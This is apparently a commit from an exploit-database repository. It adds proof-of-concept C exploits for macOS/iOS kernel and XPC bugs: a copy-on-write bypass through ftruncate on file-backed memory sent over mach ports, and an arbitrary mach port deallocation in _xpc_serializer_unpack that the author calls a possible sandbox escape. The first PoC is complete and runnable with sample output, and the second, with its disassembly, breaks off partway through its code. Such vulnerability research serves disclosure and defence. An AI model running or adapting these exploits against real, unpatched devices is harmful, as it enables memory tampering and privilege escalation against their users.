DB: 2019-02-01
13 changes to exploits/shellcodes Anyburn 4.3 - 'Convert image to file format' Denial of Service Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC) AMAC Address Change 5.4 - Denial of Service (PoC) ASPRunner Professional 6.0.766 - Denial of Service (PoC) FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC) LanHelper 1.74 - Denial of Service (PoC) macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass) 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass) R 3.5.0 - Local Buffer Overflow (SEH) UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)
This commit is contained in:
parent
f700c5347d
commit
68794471c9
14 changed files with 2310 additions and 1 deletions
464
exploits/macos/dos/46296.c
Normal file
464
exploits/macos/dos/46296.c
Normal file
|
@ -0,0 +1,464 @@
|
|||
/*
|
||||
XNU has various interfaces that permit creating copy-on-write copies of data
|
||||
between processes, including out-of-line message descriptors in mach messages.
|
||||
It is important that the copied memory is protected against later modifications
|
||||
by the source process; otherwise, the source process might be able to exploit
|
||||
double-reads in the destination process.
|
||||
|
||||
This copy-on-write behavior works not only with anonymous memory, but also with
|
||||
file mappings. This means that, if the filesystem mutates the file contents
|
||||
(e.g. because the ftruncate() syscall was used), the filesystem must inform the
|
||||
memory management subsystem so that affected pages can be deduplicated.
|
||||
If this doesn't happen, that's a security bug.
|
||||
|
||||
|
||||
ubc_setsize_ex() roughly has the following logic:
|
||||
|
||||
Step 1: If the file grows or stays at the same size, do nothing and return.
|
||||
Step 2: If the new file size is not divisible by the page size, zero out the end
|
||||
of the page that is now at the end of the file.
|
||||
Step 3: If there are pages that were previously part of the file but aren't
|
||||
anymore, tell the memory management subsystem to invalidate them.
|
||||
Step 4: Return.
|
||||
|
||||
Step 2 is implemented as follows:
|
||||
|
||||
===========
|
||||
/*
|
||||
* new EOF ends up in the middle of a page
|
||||
* zero the tail of this page if it's currently
|
||||
* present in the cache
|
||||
|
||||
kret = ubc_create_upl_kernel(vp, lastpg, PAGE_SIZE, &upl, &pl, UPL_SET_LITE, VM_KERN_MEMORY_FILE);
|
||||
|
||||
if (kret != KERN_SUCCESS)
|
||||
panic("ubc_setsize: ubc_create_upl (error = %d)\n", kret);
|
||||
|
||||
if (upl_valid_page(pl, 0))
|
||||
cluster_zero(upl, (uint32_t)lastoff, PAGE_SIZE - (uint32_t)lastoff, NULL);
|
||||
|
||||
ubc_upl_abort_range(upl, 0, PAGE_SIZE, UPL_ABORT_FREE_ON_EMPTY);
|
||||
===========
|
||||
|
||||
Call graph:
|
||||
|
||||
ubc_create_upl_kernel(uplflags=UPL_SET_LITE)
|
||||
-> memory_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL)
|
||||
-> vm_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL)
|
||||
|
||||
vm_object_upl_request() can perform COW deduplication, but only if the
|
||||
UPL_WILL_MODIFY flag is set, which isn't set here.
|
||||
|
||||
|
||||
A simple testcase:
|
||||
|
||||
===========
|
||||
$ cat buggycow2.c
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
setbuf(stdout, NULL);
|
||||
|
||||
int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0600);
|
||||
if (fd == -1) err(1, "open");
|
||||
if (ftruncate(fd, 0x4000)) err(1, "ftruncate 1");
|
||||
char *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
if (mapping == MAP_FAILED) err(1, "mmap");
|
||||
*(unsigned int *)(mapping + 0x3000) = 0x41414141;
|
||||
|
||||
pointer_t cow_mapping;
|
||||
mach_msg_type_number_t cow_mapping_size;
|
||||
if (vm_read(mach_task_self(), (vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read");
|
||||
if (cow_mapping_size != 0x4000) errx(1, "vm read size");
|
||||
printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000));
|
||||
|
||||
if (ftruncate(fd, 0x3001)) err(1, "ftruncate 2");
|
||||
|
||||
printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000));
|
||||
}
|
||||
$ cc -o buggycow2 buggycow2.c
|
||||
$ ./buggycow2
|
||||
orig: 0x41414141 cow: 0x41414141
|
||||
orig: 0x41 cow: 0x41
|
||||
$
|
||||
===========
|
||||
|
||||
|
||||
To demonstrate that this also works with out-of-line memory sent over mach
|
||||
ports, I am attaching a more complicated PoC that was mostly written by Ian.
|
||||
It sends an out-of-line descriptor over a mach port, then changes the memory
|
||||
seen by the recipient.
|
||||
|
||||
Usage:
|
||||
|
||||
===========
|
||||
$ cc -o mach_truncate_poc mach_truncate_poc.c
|
||||
$ ./mach_truncate_poc
|
||||
[+] child got stashed port
|
||||
[+] child sent hello message to parent over shared port
|
||||
[+] parent received hello message from child
|
||||
[+] child restored stolen port
|
||||
[+] file created
|
||||
[+] child sent message to parent
|
||||
[+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10c213000
|
||||
[+] parent reads: 41414141
|
||||
[+] telling child to try to change what I see!
|
||||
[+] child received ping to start trying to change the OOL memory!
|
||||
[+] child called ftruncate()
|
||||
[+] parent got ping message from child, lets try to read again...
|
||||
[+] parent reads: 00000041
|
||||
$
|
||||
===========
|
||||
|
||||
The simple testcase was tested on 10.14.1 18B75.
|
||||
*/
|
||||
|
||||
#define RAM_GB 16ULL
|
||||
#define SIZE ((RAM_GB+4ULL) * 1024ULL * 1024ULL * 1024ULL)
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include <libkern/OSAtomic.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/task_special_ports.h>
|
||||
|
||||
#define MACH_ERR(str, err) do { \
|
||||
if (err != KERN_SUCCESS) { \
|
||||
mach_error("[-]" str "\n", err); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} \
|
||||
} while(0)
|
||||
|
||||
#define FAIL(str) do { \
|
||||
printf("[-] " str "\n"); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
#define LOG(str) do { \
|
||||
printf("[+] " str"\n"); \
|
||||
} while (0)
|
||||
|
||||
/***************
|
||||
* port dancer *
|
||||
***************/
|
||||
|
||||
// set up a shared mach port pair from a child process back to its parent without using launchd
|
||||
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html
|
||||
|
||||
// mach message for sending a port right
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t port;
|
||||
} port_msg_send_t;
|
||||
|
||||
// mach message for receiving a port right
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t port;
|
||||
mach_msg_trailer_t trailer;
|
||||
} port_msg_rcv_t;
|
||||
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
} simple_msg_send_t;
|
||||
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_trailer_t trailer;
|
||||
} simple_msg_rcv_t;
|
||||
|
||||
#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT
|
||||
|
||||
// a copy in the parent of the stolen special port such that it can be restored
|
||||
mach_port_t saved_special_port = MACH_PORT_NULL;
|
||||
|
||||
// the shared port right in the parent
|
||||
mach_port_t shared_port_parent = MACH_PORT_NULL;
|
||||
|
||||
void setup_shared_port() {
|
||||
kern_return_t err;
|
||||
// get a send right to the port we're going to overwrite so that we can both
|
||||
// restore it for ourselves and send it to our child
|
||||
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
|
||||
MACH_ERR("saving original special port value", err);
|
||||
|
||||
// allocate the shared port we want our child to have a send right to
|
||||
err = mach_port_allocate(mach_task_self(),
|
||||
MACH_PORT_RIGHT_RECEIVE,
|
||||
&shared_port_parent);
|
||||
|
||||
MACH_ERR("allocating shared port", err);
|
||||
|
||||
// insert the send right
|
||||
err = mach_port_insert_right(mach_task_self(),
|
||||
shared_port_parent,
|
||||
shared_port_parent,
|
||||
MACH_MSG_TYPE_MAKE_SEND);
|
||||
MACH_ERR("inserting MAKE_SEND into shared port", err);
|
||||
|
||||
// stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
|
||||
MACH_ERR("setting special port", err);
|
||||
}
|
||||
|
||||
mach_port_t recover_shared_port_child() {
|
||||
kern_return_t err;
|
||||
|
||||
// grab the shared port which our parent stashed somewhere in the special ports
|
||||
mach_port_t shared_port_child = MACH_PORT_NULL;
|
||||
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
|
||||
MACH_ERR("child getting stashed port", err);
|
||||
|
||||
LOG("child got stashed port");
|
||||
|
||||
// say hello to our parent and send a reply port so it can send us back the special port to restore
|
||||
|
||||
// allocate a reply port
|
||||
mach_port_t reply_port;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
MACH_ERR("child allocating reply port", err);
|
||||
|
||||
// send the reply port in a hello message
|
||||
simple_msg_send_t msg = {0};
|
||||
|
||||
msg.header.msgh_size = sizeof(msg);
|
||||
msg.header.msgh_local_port = reply_port;
|
||||
msg.header.msgh_remote_port = shared_port_child;
|
||||
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
|
||||
|
||||
err = mach_msg_send(&msg.header);
|
||||
MACH_ERR("child sending task port message", err);
|
||||
|
||||
LOG("child sent hello message to parent over shared port");
|
||||
|
||||
// wait for a message on the reply port containing the stolen port to restore
|
||||
port_msg_rcv_t stolen_port_msg = {0};
|
||||
err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
MACH_ERR("child receiving stolen port\n", err);
|
||||
|
||||
// extract the port right from the message
|
||||
mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
|
||||
if (stolen_port_to_restore == MACH_PORT_NULL) {
|
||||
FAIL("child received invalid stolen port to restore");
|
||||
}
|
||||
|
||||
// restore the special port for the child
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
|
||||
MACH_ERR("child restoring special port", err);
|
||||
|
||||
LOG("child restored stolen port");
|
||||
return shared_port_child;
|
||||
}
|
||||
|
||||
mach_port_t recover_shared_port_parent() {
|
||||
kern_return_t err;
|
||||
|
||||
// restore the special port for ourselves
|
||||
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
|
||||
MACH_ERR("parent restoring special port", err);
|
||||
|
||||
// wait for a message from the child on the shared port
|
||||
simple_msg_rcv_t msg = {0};
|
||||
err = mach_msg(&msg.header,
|
||||
MACH_RCV_MSG,
|
||||
0,
|
||||
sizeof(msg),
|
||||
shared_port_parent,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
MACH_ERR("parent receiving child hello message", err);
|
||||
|
||||
LOG("parent received hello message from child");
|
||||
|
||||
// send the special port to our child over the hello message's reply port
|
||||
port_msg_send_t special_port_msg = {0};
|
||||
|
||||
special_port_msg.header.msgh_size = sizeof(special_port_msg);
|
||||
special_port_msg.header.msgh_local_port = MACH_PORT_NULL;
|
||||
special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
|
||||
special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
|
||||
special_port_msg.body.msgh_descriptor_count = 1;
|
||||
|
||||
special_port_msg.port.name = saved_special_port;
|
||||
special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg_send(&special_port_msg.header);
|
||||
MACH_ERR("parent sending special port back to child", err);
|
||||
|
||||
return shared_port_parent;
|
||||
}
|
||||
|
||||
/*** end of port dancer code ***/
|
||||
|
||||
|
||||
struct ool_send_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_descriptor_t desc;
|
||||
};
|
||||
|
||||
struct ool_rcv_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_descriptor_t desc;
|
||||
mach_msg_trailer_t trailer;
|
||||
};
|
||||
|
||||
struct ping_send_msg {
|
||||
mach_msg_header_t hdr;
|
||||
};
|
||||
|
||||
struct ping_rcv_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_trailer_t trailer;
|
||||
};
|
||||
|
||||
void do_child(mach_port_t shared_port) {
|
||||
kern_return_t err;
|
||||
|
||||
// create a reply port to receive an ack that we should truncate the file
|
||||
mach_port_t reply_port;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
MACH_ERR("child allocating reply port", err);
|
||||
|
||||
// create a file that is a few pages big
|
||||
int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0666);
|
||||
if (fd == -1) FAIL("create testfile");
|
||||
if (ftruncate(fd, 0x4000)) FAIL("resize testfile");
|
||||
LOG("file created");
|
||||
|
||||
void* mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
if (mapping == MAP_FAILED) FAIL("mmap created file");
|
||||
*(unsigned int *)mapping = 0x41414141;
|
||||
|
||||
struct ool_send_msg msg = {0};
|
||||
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_local_port = reply_port;
|
||||
msg.hdr.msgh_remote_port = shared_port;
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND) | MACH_MSGH_BITS_COMPLEX;
|
||||
|
||||
msg.body.msgh_descriptor_count = 1;
|
||||
|
||||
msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||
msg.desc.copy = MACH_MSG_VIRTUAL_COPY;
|
||||
msg.desc.deallocate = 0;
|
||||
msg.desc.address = mapping;
|
||||
msg.desc.size = 0x4000;
|
||||
|
||||
err = mach_msg_send(&msg.hdr);
|
||||
MACH_ERR("child sending OOL message", err);
|
||||
|
||||
LOG("child sent message to parent");
|
||||
|
||||
// wait for an ack to change the file:
|
||||
struct ping_rcv_msg ping_rcv = {0};
|
||||
ping_rcv.hdr.msgh_size = sizeof(ping_rcv);
|
||||
ping_rcv.hdr.msgh_local_port = reply_port;
|
||||
err = mach_msg_receive(&ping_rcv.hdr);
|
||||
MACH_ERR("child receiving ping to change OOL memory", err);
|
||||
|
||||
LOG("child received ping to start trying to change the OOL memory!");
|
||||
|
||||
// trigger the bug by calling ftruncate()
|
||||
if (ftruncate(fd, 1)) FAIL("truncate file to trigger bug");
|
||||
LOG("child called ftruncate()");
|
||||
|
||||
// send a message to read again:
|
||||
struct ping_send_msg ping = {0};
|
||||
ping.hdr.msgh_size = sizeof(ping);
|
||||
ping.hdr.msgh_remote_port = shared_port;
|
||||
ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
|
||||
err = mach_msg_send(&ping.hdr);
|
||||
MACH_ERR("parent sending ping to child", err);
|
||||
|
||||
// spin and let our parent kill us
|
||||
while(1){;}
|
||||
}
|
||||
|
||||
void do_parent(mach_port_t shared_port) {
|
||||
kern_return_t err;
|
||||
|
||||
// wait for our child to send us an OOL message
|
||||
struct ool_rcv_msg msg = {0};
|
||||
msg.hdr.msgh_local_port = shared_port;
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
err = mach_msg_receive(&msg.hdr);
|
||||
MACH_ERR("parent receiving child OOL message", err);
|
||||
|
||||
volatile uint32_t* parent_cow_mapping = msg.desc.address;
|
||||
uint32_t parent_cow_size = msg.desc.size;
|
||||
|
||||
printf("[+] parent got an OOL descriptor for %x bytes, mapped COW at: %p\n", parent_cow_size, (void*) parent_cow_mapping);
|
||||
|
||||
printf("[+] parent reads: %08x\n", *parent_cow_mapping);
|
||||
|
||||
LOG("telling child to try to change what I see!");
|
||||
|
||||
mach_port_t parent_to_child_port = msg.hdr.msgh_remote_port;
|
||||
|
||||
struct ping_send_msg ping = {0};
|
||||
ping.hdr.msgh_size = sizeof(ping);
|
||||
ping.hdr.msgh_remote_port = parent_to_child_port;
|
||||
ping.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
|
||||
err = mach_msg_send(&ping.hdr);
|
||||
MACH_ERR("parent sending ping to child", err);
|
||||
|
||||
// wait until we should try to read again:
|
||||
struct ping_rcv_msg ping_rcv = {0};
|
||||
ping_rcv.hdr.msgh_size = sizeof(ping_rcv);
|
||||
ping_rcv.hdr.msgh_local_port = shared_port;
|
||||
err = mach_msg_receive(&ping_rcv.hdr);
|
||||
MACH_ERR("parent receiving ping to try another read", err);
|
||||
|
||||
LOG("parent got ping message from child, lets try to read again...");
|
||||
|
||||
printf("[+] parent reads: %08x\n", *parent_cow_mapping);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
setup_shared_port();
|
||||
|
||||
pid_t child_pid = fork();
|
||||
if (child_pid == -1) {
|
||||
FAIL("forking");
|
||||
}
|
||||
|
||||
if (child_pid == 0) {
|
||||
mach_port_t shared_port_child = recover_shared_port_child();
|
||||
do_child(shared_port_child);
|
||||
} else {
|
||||
mach_port_t shared_port_parent = recover_shared_port_parent();
|
||||
do_parent(shared_port_parent);
|
||||
}
|
||||
|
||||
kill(child_pid, 9);
|
||||
int status;
|
||||
wait(&status);
|
||||
|
||||
return 0;
|
||||
}
|
287
exploits/multiple/dos/46297.c
Normal file
287
exploits/multiple/dos/46297.c
Normal file
|
@ -0,0 +1,287 @@
|
|||
/*
|
||||
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.
|
||||
|
||||
There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
|
||||
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
|
||||
they're also transfered as MACH_PORT_OOL_PORT descriptors.
|
||||
|
||||
Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
|
||||
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.
|
||||
|
||||
Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.
|
||||
|
||||
This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
|
||||
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.
|
||||
|
||||
It turns out that libxpc does exactly that in _xpc_serializer_unpack:
|
||||
|
||||
__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message
|
||||
__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set
|
||||
...
|
||||
__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67↑j
|
||||
__text:000000000000703F mov rax, rbx
|
||||
__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0
|
||||
__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor
|
||||
__text:0000000000007049 mov ecx, 0FF000000h
|
||||
__text:000000000000704E and ecx, [rax+24h]
|
||||
__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?
|
||||
__text:0000000000007057 jnz short loc_7089
|
||||
__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit
|
||||
__text:0000000000007062 mov r9, [rbx] ; save the address field
|
||||
__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later
|
||||
__text:0000000000007069 lea rax, __xpc_serializer_munmap
|
||||
__text:0000000000007070 mov [r12+48h], rax
|
||||
__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff
|
||||
__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message
|
||||
__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc
|
||||
__text:0000000000007082 mov eax, 2Ch ; ','
|
||||
__text:0000000000007087 jmp short loc_7094
|
||||
__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0
|
||||
__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)
|
||||
|
||||
The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.
|
||||
|
||||
By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
|
||||
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().
|
||||
|
||||
You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
|
||||
for the port name 0x414141 to be passed in rsi.
|
||||
|
||||
There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
|
||||
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.
|
||||
|
||||
Still, it would be a nice sandbox escape on MacOS.
|
||||
|
||||
Tested on MacOS 10.14.1 (18B75)
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
#if 0
|
||||
Arbitrary mach port name deallocation in XPC services due to invalid mach message parsing in _xpc_serializer_unpack
|
||||
|
||||
_xpc_serializer_unpack in libxpc parses mach messages which contain xpc messages.
|
||||
|
||||
There are two reasons for an xpc mach message to contain descriptors: if the message body is large, then it's sent as
|
||||
a MACH_MSG_OOL_DESCRIPTOR. Also if the message contains other port resources (eg memory entry ports) then
|
||||
they're also transfered as MACH_PORT_OOL_PORT descriptors.
|
||||
|
||||
Whilst looking through a dump of system mach message traffic gathered via a dtrace script I noticed something odd:
|
||||
It's possible for a message to have the MACH_MSGH_BITS_COMPLEX bit set and also have a msgh_descriptor_count of 0.
|
||||
|
||||
Looking at ipc_kmsg_copyin_body you can see that this is in fact the case.
|
||||
|
||||
This is a kinda surprising fact, and I think there are likely to be multiple places where developers are going to
|
||||
have assumed that there must be at least one descriptor if MACH_MSGH_BITS_COMPLEX is set.
|
||||
|
||||
It turns out that libxpc does exactly that in _xpc_serializer_unpack:
|
||||
|
||||
__text:0000000000007016 cmp dword ptr [rbx], 0 ; rbx points to the start of the mach message
|
||||
__text:0000000000007019 js short loc_703F ; branch if the COMPLEX bit is set
|
||||
...
|
||||
__text:000000000000703F loc_703F: ; CODE XREF: __xpc_serializer_unpack+67↑j
|
||||
__text:000000000000703F mov rax, rbx
|
||||
__text:0000000000007042 mov edx, [rax+18h] ; read msgh_descriptor_count, which could be 0
|
||||
__text:0000000000007045 add rbx, 1Ch ; point rbx to the first descriptor
|
||||
__text:0000000000007049 mov ecx, 0FF000000h
|
||||
__text:000000000000704E and ecx, [rax+24h]
|
||||
__text:0000000000007051 cmp ecx, 1000000h ; is the type OOL_DESC?
|
||||
__text:0000000000007057 jnz short loc_7089
|
||||
__text:0000000000007059 or byte ptr [r12+0ACh], 4 ; yes, then set this bit
|
||||
__text:0000000000007062 mov r9, [rbx] ; save the address field
|
||||
__text:0000000000007065 mov r15d, [rbx+0Ch] ; and size field for later
|
||||
__text:0000000000007069 lea rax, __xpc_serializer_munmap
|
||||
__text:0000000000007070 mov [r12+48h], rax
|
||||
__text:0000000000007075 dec edx ; decrement msgh_descriptor_count, so could now be 0xffffffff
|
||||
__text:0000000000007077 mov dword ptr [rbx+0Ch], 0 ; clear the size in the message
|
||||
__text:000000000000707E lea rbx, [rbx+10h] ; skip over this desc
|
||||
__text:0000000000007082 mov eax, 2Ch ; ','
|
||||
__text:0000000000007087 jmp short loc_7094
|
||||
__text:0000000000007094 test edx, edx ; test whether msgh_descriptor_count is now 0
|
||||
__text:0000000000007096 jz loc_713E ; but we've decremented it to 0xffffffff :)
|
||||
|
||||
The code the goes on to read up to 0xffffffff port descriptors, storing the names and dispositions in two arrays.
|
||||
|
||||
By specifying an invalid disposition we can stop the loop, the serializer will then return an error and be destructed
|
||||
which will cause names read from our fake descriptors to be passed to mach_port_deallocate().
|
||||
|
||||
You can test this PoC by attached lldb to the chosen target, setting a breakpoint on mach_port_deallocate and waiting
|
||||
for the port name 0x414141 to be passed in rsi.
|
||||
|
||||
There is one mitigating factor which might prevent this from being exploitable on iOS: the underflowed value is used for two memory allocations
|
||||
so you need to be able to reserve around 32G of RAM, on MacOS this is no problem but doesn't seem to be so easy on my XS.
|
||||
|
||||
Still, it would be a nice sandbox escape on MacOS.
|
||||
|
||||
Tested on MacOS 10.14.1 (18B75)
|
||||
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||
|
||||
struct xpc_w00t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
static int
|
||||
xpc_checkin(
|
||||
mach_port_t service_port,
|
||||
mach_port_t* client_port,
|
||||
mach_port_t* reply_port)
|
||||
{
|
||||
// allocate the client and reply port:
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// insert a send so we maintain the ability to send to this port
|
||||
err = mach_port_insert_right(mach_task_self(), *client_port, *client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = *client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = *reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
} else {
|
||||
printf("sent xpc w00t message\n");
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
struct xpc_bad_ool {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_descriptor_t ool0;
|
||||
mach_msg_port_descriptor_t port1;
|
||||
mach_msg_ool_descriptor_t ool2;
|
||||
};
|
||||
|
||||
|
||||
